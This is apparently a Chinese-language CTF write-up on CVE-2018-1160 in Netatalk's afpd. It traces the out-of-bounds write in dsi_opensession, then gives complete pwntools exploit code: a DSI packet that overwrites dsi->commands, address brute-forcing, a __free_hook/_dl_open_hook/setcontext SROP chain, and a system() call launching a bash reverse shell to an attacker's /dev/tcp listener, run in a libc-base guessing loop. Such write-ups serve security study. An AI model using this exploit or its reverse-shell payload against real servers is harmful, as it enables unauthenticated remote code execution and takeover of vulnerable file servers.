1 基本信息

1.1 题目信息

根据题目可知这是 CVE-2018-1160 的漏洞复现及利用,提供了 binary、配置文件以及 2 个库

1
2
3
4
5
6
7
8
(base) secreu@Vanilla:~/netatalk$ tree
.
├── afp.conf
├── afpd
├── libatalk.so.18
└── libc-2.27.so

0 directories, 4 files

libc 版本是 2.27

1
2
3
4
5
6
7
8
9
10
(pwn) secreu@Vanilla:~/netatalk$ ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

三个二进制文件基本都是保护全开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(pwn) secreu@Vanilla:~/netatalk$ checksec --file=afpd
[*] '/home/secreu/netatalk/afpd'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
(pwn) secreu@Vanilla:~/netatalk$ checksec --file=libc-2.27.so
[*] '/home/secreu/netatalk/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
(pwn) secreu@Vanilla:~/netatalk$ checksec --file=libatalk.so.18
[*] '/home/secreu/netatalk/libatalk.so.18'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

配置文件提供关键信息,监听端口 5566

1
2
3
4
5
6
(pwn) secreu@Vanilla:~/netatalk$ cat afp.conf
[Global]
afp port = 5566
disconnect time = 0
max connections = 1000
sleep time = 0

CVE 描述提供了几个个有用的信息:

  • 漏洞版本 ≤ 3.1.11,我们下载 Netatalk 3.1.11 的源码即可
  • 漏洞出现在 dsi_opensess.c 中,并且是一个溢出漏洞

Netatalk before 3.1.12 is vulnerable to an out of bounds write in dsi_opensess.c. This is due to lack of bounds checking on attacker controlled data. A remote unauthenticated attacker can leverage this vulnerability to achieve arbitrary code execution.

1.2 Netatalk

Netatalk 是一个开源文件服务器,基于 Apple Filing Protocol (AFP) 协议进行通信
AFP 协议是苹果开发的文件协议,苹果文件服务的一部分

2 程序分析

下面的程序分析基于题目提供的文件以及 Netatalk 3.1.11 源码

2.1 运行程序

原本是想用 docker 运行 Netatalk 3.1.11,但在源码中找到了 Netatalk 启动 afpd 的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(int argc, char **argv)
{
...
while ((c = getopt(argc, argv, ":dF:vV")) != -1) {
switch(c) {
case 'd':
debug = 1;
break;
case 'F':
obj.cmdlineconfigfile = strdup(optarg);
break;
case 'v': /* version */
case 'V': /* version */
show_netatalk_version( ); puts( "" );
show_netatalk_paths( ); puts( "" );
exit( 0 );
break;
default:
usage();
exit(EXIT_FAILURE);
}
}
...
if ((afpd_pid = run_process(_PATH_AFPD, "-d", "-F", obj.options.configfile, NULL)) == NETATALK_SRV_ERROR) {
LOG(log_error, logtype_afpd, "Error starting 'afpd'");
netatalk_exit(EXITERR_CONF);
}
...

\etc\netatalk\netatalk.cmain 函数可以发现,-d 参数开启 debug 模式,-F 参数指定配置文件,然后我们只需要再利用环境变量 LD_LIBRARY_PATH 指定 libc,用 LD_LIBRARY_PATH 指定动态链接库为当前目录即可完成库的加载。
pwnable.tw 使用的 docker 镜像为 Ubuntu18.04,所以我们也用 Ubuntu18.04,运行下面的命令启动 afpd

1
(pwn) secreu@Vanilla:~/netatalk$ LD_PRELOAD=./libc-2.27.so LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf

2.2 漏洞点

根据 CVE 描述直奔 dsi_opensess.c 文件,只有一个很短的函数 dsi_opensession,根据注释大致猜测其实现功能为:开启会话,根据 client 传来的数据设置一定的参数,然后再将其中的 server quantum 发回给 client。先不管其中变量的含义,总之就是服务端和客户端建立会话。
该函数中有三个 memcpy,但是后两个 memcpy 的参数显然不是我们能够控制的,特别是 size 固定为 4 字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
int offs;

if (setnonblock(dsi->socket, 1) < 0) {
LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
AFP_PANIC("setnonblock error");
}

/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);

case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}

/* let the client know the server quantum. we don't use the
* max server quantum due to a bug in appleshare client 3.8.6. */
dsi->header.dsi_flags = DSIFL_REPLY;
dsi->header.dsi_data.dsi_code = 0;
/* dsi->header.dsi_command = DSIFUNC_OPEN;*/

dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

/* DSI Option Server Request Quantum */
dsi->commands[0] = DSIOPT_SERVQUANT;
dsi->commands[1] = sizeof(i);
i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN ||
dsi->server_quantum > DSI_SERVQUANT_MAX ) ?
DSI_SERVQUANT_DEF : dsi->server_quantum);
memcpy(dsi->commands + 2, &i, sizeof(i));

/* AFP replaycache size option */
offs = 2 + sizeof(i);
dsi->commands[offs] = DSIOPT_REPLCSIZE;
dsi->commands[offs+1] = sizeof(i);
i = htonl(REPLAYCACHE_SIZE);
memcpy(dsi->commands + offs + 2, &i, sizeof(i));
dsi_send(dsi);
}

所以漏洞应该出现在 memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
分析这部分的代码可知:宏 DSIOPT_ATTNQUANT 的值为 1,我们可以利用 dsi->commands 实现对 dsi->attn_quantum 的溢出,其中 dsi->commands 应为下面的结构

Byte 0 Byte 1 Byte 2 ~ n
1 size of data data

但是 DSI 是什么?
dsi.h 给出了答案,看起来像是传输数据流量的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write; /* in the middle of writing multiple packets,
signal handlers can't write to the socket */
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */

uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /* AFP session socket */
int serversock; /* listening socket */

/* DSI readahead buffer used for buffered reads in dsi_peek */
size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */
char *buffer; /* buffer start */
char *start; /* current buffer head */
char *eof; /* end of currently used buffer */
char *end;

#ifdef USE_ZEROCONF
char *bonjourname; /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
int zeroconf_registered;
#endif

/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
} DSI;

所以 afpd server 就是通过 DSI 和 client 进行会话和数据传输。查询资料得知,DSI 是一种会话层协议,它基于 TCP 传输 AFP。其数据包结构如下,前 16 字节是 DSI Header,后续都是 DSI Payload

DSI

dsi->commands[1] 最大为 0xFF,所以在 DSI 结构体中,只要控制了 commmands,就能够实现对 attn_quantum 的溢出,覆盖后续的 datasizeserver_quantumserverIDclientIDcommands

2.3 程序流程

这一节分析 afpd 的主要逻辑,觉得看的繁琐头昏的读者可以直接去看下面的流程图

dsi_opensession 入手,可以溯源到 /ect/afpd/main.c 中的 main 函数。调用链为 main -> dsi_start -> dsi_getsession -> dsi_opensession
首先在 main 函数中,先做一系列初始化工作,然后等待 client 连接,接收到连接后进入 dsi_start。根据注释,这是一个父进程维持监听,fork 子进程进行会话处理的架构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int main(int ac, char **av)
{
...
afp_child_t *child;

/* wait for an appleshare connection. parent remains in the loop
* while the children get handled by afp_over_{asp,dsi}. this is
* currently vulnerable to a denial-of-service attack if a
* connection is made without an actual login attempt being made
* afterwards. establishing timeouts for logins is a possible
* solution. */
while (1) {
...
for (int i = 0; i < asev->used; i++) {
if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
switch (asev->data[i].fdtype) {

case LISTEN_FD:
if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
...
}
}
break;
...
} /* switch */
} /* if */
} /* for (i)*/
} /* while (1) */

return 0;
}

进入 dsi_start,首先进入 dsi_getsession

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
afp_child_t *child = NULL;

if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
return NULL;
}

/* we've forked. */
if (child == NULL) {
configfree(obj, dsi);
afp_over_dsi(obj); /* start a session */
exit (0);
}

return child;
}

dsi_getsession 是真正完成 fork 子进程的地方:

  • 父进程会退出该函数回到 dsi_start 然后再回到 main 继续等待 client 连接
  • 子进程则会在 DSI Header 中设置 Command 为 DSIFUNC_OPEN 时进入 dsi_opensession
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*!
* Start a DSI session, fork an afpd process
*
* @param childp (w) after fork: parent return pointer to child, child returns NULL
* @returns 0 on sucess, any other value denotes failure
*/
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
...
switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
case -1:
/* if we fail, just return. it might work later */
LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
return -1;
case 0: /* child. mostly handled below. */
break;
default: /* parent */
...
}

...

switch (dsi->header.dsi_command) {
case DSIFUNC_STAT: /* send off status and return */
...
case DSIFUNC_OPEN: /* setup session */
...
dsi_opensession(dsi);
*childp = NULL;
return 0;

default: /* just close */
...
}
}

接下来我们追踪子进程的处理流程,目前为 main -> dsi_start -> dsi_getsession
dsi_getsession 中调用 switch (pid = dsi->proto_open(dsi)) 时会隐性调用 dsi_tcp_open 函数,这是因为 dsi->proto_openmain 函数初始化配置时被指向了该函数,main -> configinit -> dsi_tcp_init

1
2
3
4
5
6
7
8
int dsi_tcp_init(DSI *dsi, const char *hostname, const char *inaddress, const char *inport)
{
...
/* Point protocol specific functions to tcp versions */
dsi->proto_open = dsi_tcp_open;
dsi->proto_close = dsi_tcp_close;
...
}

dsi_tcp_open 函数会调用 dsi_init_buffer 初始化 dsi->commandsdsi->buffer。我们主要关注和漏洞高度相关的 dsi->commands,它被初始化为 malloc 申请出的内存,大小为 dsi->server_quantum,追溯 dsi->server_quantum 的初始值,发现是 DSI_SERVQUANT_DEF = 0x100000L

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void dsi_init_buffer(DSI *dsi)
{
if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}

/* dsi_peek() read ahead buffer, default is 12 * 300k = 3,6 MB (Apr 2011) */
if ((dsi->buffer = malloc(dsi->dsireadbuf * dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}
dsi->start = dsi->buffer;
dsi->eof = dsi->buffer;
dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum);
}

回到 dsi_tcp_open,该函数利用 dsi_stream_read 对 client 的消息进行了读取,完成了 TCP 连接。

这里不对 dsi_stream_read 进行详细分析,直接讲结论:该函数的从 dsi(参数 1) 的 dsi->buffer 中读取来自 socket 的数据,存入参数 2 对应的地址中,参数 3 对应读取的字节数
我们以下面出现的三个 dsi_stream_read 为锚点分析:

  1. 首先读取了 DSI Header 前 2 字节到 block 中,做了一些检验
  2. 然后读取了 DSI Header 剩下的字节(一共 16 字节)到 block 中,将对应的字段存入 dsi
  3. 最后读取 DSI Payload 到 dsi->commands
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static pid_t dsi_tcp_open(DSI *dsi)
{
...
if (0 == (pid = fork()) ) { /* child */
dsi_init_buffer(dsi);

/* read in commands. this is similar to dsi_receive except
* for the fact that we do some sanity checking to prevent
* delinquent connections from causing mischief. */

/* read in the first two bytes */
len = dsi_stream_read(dsi, block, 2);
...
/* read in the rest of the header */
stored = 2;
while (stored < DSI_BLOCKSIZ) {
len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
memcpy(&dsi->header.dsi_requestID, block + 2,
sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12,
sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

stored = 0;
while (stored < dsi->cmdlen) {
len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
if (len > 0)
stored += len;
else {
LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
exit(EXITERR_CLNT);
}
}
}

/* send back our pid */
return pid;
}

完成读取后我们回到 dsi_getsession 中,子进程带着已经存有 DSI Paylaod 的 dsi->commands 进入 dsi_opensession
根据前面的分析,我只需要构造 DSI Paylaod 即可实现对 attn_quantumdatasizeserver_quantumserverIDclientIDcommands 的覆盖
子进程完成 dsi_opensession 后,回到 dsi_getsession,再回到 dsi_start,紧接着执行 configfree,该函数释放了其他 obj 或 dsi,这里不做过多分析。
最后进入 afp_over_dsi,处理后续所有的 client 请求。该函数循环调用 dsi_stream_receive 读取 client 请求,然后根据 DSI Header 中的 Command 字段(第 2 个字节)进行请求处理。

  • DSIFUNC_CLOSE:调用 afp_dsi_close 关闭会话后退出
  • DSIFUNC_CMD:根据 dsi->commands[0],从 AFP 函数表中选择对应的函数执行

注意这里没有 DSIFUNC_OPEN,这是因为会话已经建立,再 DSIFUNC_OPEN 会进入 switch default 分支,最后进入 afp_dsi_die,该函数也会执行 afp_dsi_close

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void afp_over_dsi(AFPObj *obj)
{
DSI *dsi = (DSI *) obj->dsi;
...
/* get stuck here until the end */
while (1) {
...
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi);
if (cmd == 0) ...

switch(cmd) {
case DSIFUNC_CLOSE: ...
case DSIFUNC_TICKLE: ...
case DSIFUNC_CMD:
function = (u_char) dsi->commands[0];
if (replaycache[rc_idx].DSIreqID == dsi->clientID
&& replaycache[rc_idx].AFPcommand == function) {
...
} else {
/* send off an afp command. in a couple cases, we take advantage
* of the fact that we're a stream-based protocol. */
if (afp_switch[function]) {
...
AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));
...
} else ...
}
break;
case DSIFUNC_WRITE: ... /* FPWrite and FPAddIcon */
case DSIFUNC_ATTN: ... /* attention replies */
default: ...
}
/* error */
afp_dsi_die(EXITERR_CLNT);
}

dsi_stream_receive 也是先读 DSI Header,然后将 DSI Payload 读取到 dsi->commands

这里使用的 dsi->commands 是可以在建立会话时被我们利用漏洞覆盖的,所以这里存在任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];
...

/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
if (dsi->header.dsi_command == 0)
return 0;
...
/* make sure we don't over-write our buffers. */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
...

if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;

...
return block[1];
}

最后一个值得关注的函数是 dsi_close,它会在 afp_dsi_close 关闭会话时执行,而其中有一个 free

所以可以通过覆盖 __free_hook 劫持执行流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void dsi_close(DSI *dsi)
{
/* server generated. need to set all the fields. */
if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
dsi->header.dsi_flags = DSIFL_REQUEST;
dsi->header.dsi_command = DSIFUNC_CLOSE;
dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
dsi->header.dsi_data.dsi_code = dsi->header.dsi_reserved = htonl(0);
dsi->cmdlen = 0;
dsi_send(dsi);
dsi->proto_close(dsi);
}
free(dsi);
}

2.4 流程图

根据程序流程分析绘制出如下的树状图,主要跟踪子进程处理会话的部分,该树的先序遍历就是主要相关的函数执行流

AFPD Workflow

3 漏洞利用

根据上面的程序分析,利用的基本框架显而易见了:利用漏洞覆盖 dsi->commands 这个地址,然后传入新的数据包实现任意地址写,我们可以覆盖 __free_hook,然后关闭会话执行 free 即可劫持执行流

3.1 溢出和任意地址写

分析了那么多,下面和 afpd 交互跟踪调试一番
首先回顾 DSI 结构体中我们能够覆盖字段,因为只能覆盖 0xFF 字节,所以最多覆盖部分的 dsi->data,不过足够了,我们只需要覆盖到 dsi->commands

1
2
3
4
5
6
7
8
typedef struct DSI {
...
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
...
} DSI;

构建 DSI Packet,由 DSI Header 和 DSI Payload 两部分组成,注意网络数据包采用的是大端序
DSI Payload 根据 dsi_opensession 函数分成 code、size of data 和 data 三部分,当 code 为 DSIOPT_ATTNQUANT 才会执行漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
DSIOPT_ATTNQUANT = 1
DSI_OPEN_SESSION = 4
SERVER_QUANTUM = b"ABBA"

def gen_dsi_packet(command: int, payload: bytes) -> bytes:
header = p8(0) # flags
header += p8(command) # command
header += p16(1) # request id
header += p32(0) # error code
header += p32(len(payload), endianness='big') # payload length
header += p32(0) # reserved
packet = header + payload
return packet

def gen_dsi_payload(code: int, data: bytes) -> bytes:
payload = p8(code)
payload += p8(len(data))
payload += data
return payload

if __name__ == '__main__':
io = remote(RHOST, RPORT)

# overflow dis->commands
payload = p32(0) + p32(0) + SERVER_QUANTUM + p16(0) + p16(0) + b'ABCDEFGH'
dsi_payload = gen_dsi_payload(DSIOPT_ATTNQUANT, payload)
dsi_packet = gen_dsi_packet(DSI_OPEN_SESSION, dsi_payload)
io.send(dsi_packet)
print(io.recv())

尝试覆盖 dis->commands 为 b’ABCDEFGH’,但是 afpd server 并没有给出任何回复,这大概率是因为将 dis->commands 覆盖为非法地址,导致后续引用 dis->commands 发生段错误
使用 gdb attatch PID 进入跟踪调试,注意还要使用 set follow-fork-mode child,这样 gdb 会自动帮我们切换到子进程中

gdb_1

果然是因为对非法地址进行了引用,发生段错误时 rcx 正好是我们发送的 b’ABCDEFGH’
这一次我们不覆盖 dsi->commands,记下发生段错误的地址并打上断点,进行调试,看到断点出 rcx 值为 0x74c9e5d28010,这应该就是 dsi->commands 的值

gdb_2

搜索我们发送的 SERVER_QUANTUM = b"ABBA",找到 dsi->commands 以及其他字段的内容

gdb_3

gdb_4

并且 dsi->commands 这个地址位于 ld,比 libc 要高一些

gdb_5

当我们将 dsi->commands 覆盖为一个可写的地址,下一次发送 DSI Packet 时,Payload 部分就会被写入该地址

3.2 爆破地址

回顾程序分析,dsi->commands 被初始化为 malloc(0x100000L) 得来的地址,这个大小为 1 MB,远远超过了 brk 能分配的 128 KB,所以由 mmap 从进程的虚拟地址空间中找出一块空闲区域。从上一节跟踪调试的情况来看该地址高于 libc

由于父子进程存在相同的内存布局,我们可以通过爆破来泄露地址,dsi_opensession 会在收到第一个创建会话的请求后返回 server quantum 给我们,我们只需要验证能否收到回复即可确定是否覆盖了一个可访问的地址

gdb_6

爆破从 dsi->commands 的低字节开始,每个字节从 0xFF 到 0x00,一开始覆盖 1 个字节,然后覆盖 2 个字节,最后覆盖满 6 个字节(最高 2 个字节一定是 0)

爆破的根本目的是找到 libc,很显然我们无法确保爆破出的地址就是 dsi->commands 的初值,但我们可以通过这种递减的方法取得一个尽量高的地址,然后对齐 0x1000,不断递减 0x1000 来寻找 libc 基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def leak_addr() -> int:
addr = b''
log.info("Leaking address...")
while len(addr) < 6:
for i in range(255, -1, -1):
payload = p32(0) + p32(0) + SERVER_QUANTUM + p16(0) + p16(0) + addr + p8(i)
dsi_payload = gen_dsi_payload(DSIOPT_ATTNQUANT, payload)
dsi_packet = gen_dsi_packet(DSI_OPEN_SESSION, dsi_payload)

io = remote(RHOST, RPORT)
io.send(dsi_packet)
try:
res = io.recv()
if SERVER_QUANTUM in res:
addr += p8(i)
io.close()
log.info(f"addr: 0x{addr[::-1].hex()}")
break
except Exception as e:
io.close()
log.info(f"Error: {e}")
return u64(addr.ljust(8, b'\x00'))

通过爆破我们获取了一个高于 libc 基址且距离较近的地址,我们就可以不断猜测 libc 基址来执行利用脚本,直到成功
在本地上爆破出的地址为 0x74c9e5e5ffff,dsi->commands 实际为 0x74c9e5d28010,两者差距并不大,并且离 libc 基址 0x74c9e5800000 也并不遥远

bruteforce

3.3 远程代码执行

有 libc 基址就可以覆盖 __free_hook 从而在关闭会话时劫持执行流,并且我们也有 system,接下来确定执行什么
可以尝试获取 shell,因为 free 需要关闭会话来触发,所以我们执行反弹 shell bash -c "bash -i >& /dev/tcp/IP/PORT 0<&1",其中 IP 和 PORT 是接收 shell 的服务器的监听地址
要达到目标,我们最基本的要求是能够控制 rdi,总结我们已有的能力:覆盖 dsi->commands 为任意地址一次,该地址必须能访问,初步确定为 __free_hook 前一点,因为我们要利用 free 劫持执行流
但是如何控制参数?我们需要另一个像 __free_hook 一样能被我们覆盖且能被 libc 取用的结构
所幸在 __free_hook + 0x2bc0 处有一个 _dl_open_hook,并且它会被 __libc_dopen_mode 访问。不需要使用完整的 __libc_dopen_mode,只要最后 2 条指令作为第一个 gadget,这样我们就控制了 rax

libc_dlopen_mode

但是这里 rax 必须是一个能够访问的地址,该地址上要存放我们的下一个 gadget,所以我们直接在 _dl_open_hook_dl_open_hook + 8,然后在 _dl_open_hook + 8 处写下一条 gadget。
控制了 rax 后就可以利用 rax 控制 rdi,并且还要确保之后能够返回到我们能够控制的地址。我们选用下图所示 0x86315 处的 mov rdi, rax ; call qword ptr [rax + 8],这样 rdi 就和 rax 相等,并且下一条 gadget 要放在 rax + 8 也就是 _dl_open_hook + 0x10

mov_rdi_rax

此时 rdi = _dl_open_hook + 8,接下来就是如何利用 rdi 传递参数给 system

为了能让 rdi 指向控制区域的其他地方以便布置 system 参数,笔者试图寻找过如下的 gadget,但均以失败告终,要么不能跳转到能控制的地址,要么就是前后两个立即数有一个是 0:

  • mov rdi, [rax + imm] ; call [rax + imm]
  • lea rdi, [rax + imm] ; call [rax + imm]
  • add rdi, imm ; call [rax + imm]
  • mov rdi, [rdi + imm] ; call [rax + imm]
  • lea rdi, [rdi + imm] ; call [rax + imm]

通过学习,笔者了解到 SROP (Sigreturn Oriented Programming)。类 Unix 系统的 signal 机制会保存进程上下文到栈上,保存的区域称作 Signal Frame,当要返回到进程时,内核会调用 sigreturn 系统调用恢复进程上下文,所以 SROP 的主要工作就是伪造 Signal Frame 然后触发 sigreturn
在 libc-2.27 中有一个恢复上下文的函数 setcontext,它使用 rdi 作为索引,依次恢复了所有寄存器的值,除了 rax = 0。现在既然我们已经有了 rdi,自然可以伪造一个 Signal Frame,设置好新的 riprdi 等关键寄存器,然后执行 setcontext 即可
这里我们从恢复寄存器的部分 setcontext + 53 开始即可

setcontext

最后构造的 DSI Payload 如下图所示,在发送该数据包前,先将 dsi->commands 覆盖为 __free_hook - 0x10,因为 afpd 会对 dsi->commands 开始的头几个字节做一些处理,为了避免发生错误,我们空出 16 字节
__free_hook + 8 处存放 system 参数 cmd bash -c "bash -i >& /dev/tcp/IP/PORT 0<&1",所以最后 Signal Frame 中的 rdi__free_hook + 8

exp

发送完该 DSI Payload 后,关闭会话,afpd 执行 free,触发劫持,依次执行三处 gadgets,我们只要在地址 IP:PORT 上开启监听等待 shell 弹过来即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def exploit(libc_base: int) -> None:
free_hook = libc_base + libc.symbols['__free_hook']
dl_open_hook = libc_base + libc.symbols['_dl_open_hook']
system = libc_base + libc.symbols['system']
setcontext_53 = libc_base + 0x520A5
libc_dlopen_mode_56 = libc_base + 0x166488
# 0x0000000000086315 : mov rdi, rax ; call qword ptr [rax + 8]
mvo_rdi_rax_call_rax_8 = libc_base + 0x86315

io = remote(RHOST, RPORT)

# overflow dis->commands as (free_hook - 0x10)
payload = p32(0) + p32(0) + SERVER_QUANTUM + p16(0) + p16(0) + p64(free_hook - 0x10)
dsi_payload = gen_dsi_payload(DSIOPT_ATTNQUANT, payload)
dsi_packet = gen_dsi_packet(DSI_OPEN_SESSION, dsi_payload)
io.send(dsi_packet)
try:
res = io.recv()
log.info(f"res: {res}")
except Exception as e:
res = None
log.info(f"Error: {e}")

cmd = b'bash -c "bash -i >& /dev/tcp/%s/%d 0<&1"' % (LHOST.encode(), LPORT)

sf = SigreturnFrame()
sf.rip = system
sf.rsp = free_hook
sf.rdi = free_hook + 0x8

payload = b''.ljust(0x10, b'\x00')
payload += p64(libc_dlopen_mode_56) # __free_hook
payload += cmd.ljust(0x2bc0 - 0x8, b'\x00') # __free_hook + 0x8
payload += p64(dl_open_hook + 0x8) # _dl_open_hook
payload += p64(mvo_rdi_rax_call_rax_8) # _dl_open_hook + 0x8, rax, rdi
payload += p64(setcontext_53) # rax + 0x8
payload += bytes(sf)[0x10:] # rdi + 0x10

dsi_packet = gen_dsi_packet(DSI_OPEN_SESSION, payload)
io.send(dsi_packet)
io.close()

3.4 利用结果

前文已经爆破了一个地址 0x74c9e5e5ffff,将其按 0x1000 对齐,不断减 0x1000 猜测 libc 基址执行漏洞利用脚本

1
2
3
4
5
6
7
8
9
10
11
if __name__ == '__main__':
context(os='linux', arch='amd64', log_level='debug')

# leaked_addr = leak_addr()
leaked_addr = 0x74c9e5e5ffff - 0xfff
log.info("leaked_addr: " + hex(leaked_addr))

for i in range (0, 0xffff000, 0x1000):
libc_base = leaked_addr - i
log.info("exploiting with libc_base: " + hex(libc_base))
exploit(libc_base)

在本地测试的 libc 基址为 0x74c9e5800000

getshell

pwnable.tw 使用的是 linode 服务器,可能需要跑很久才能拿到 shell,有条件可以申请 linode 服务器进行监听,笔者跑通后在 shell 拿到下面的信息,其中 libc 基址为 0x7f6669791000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
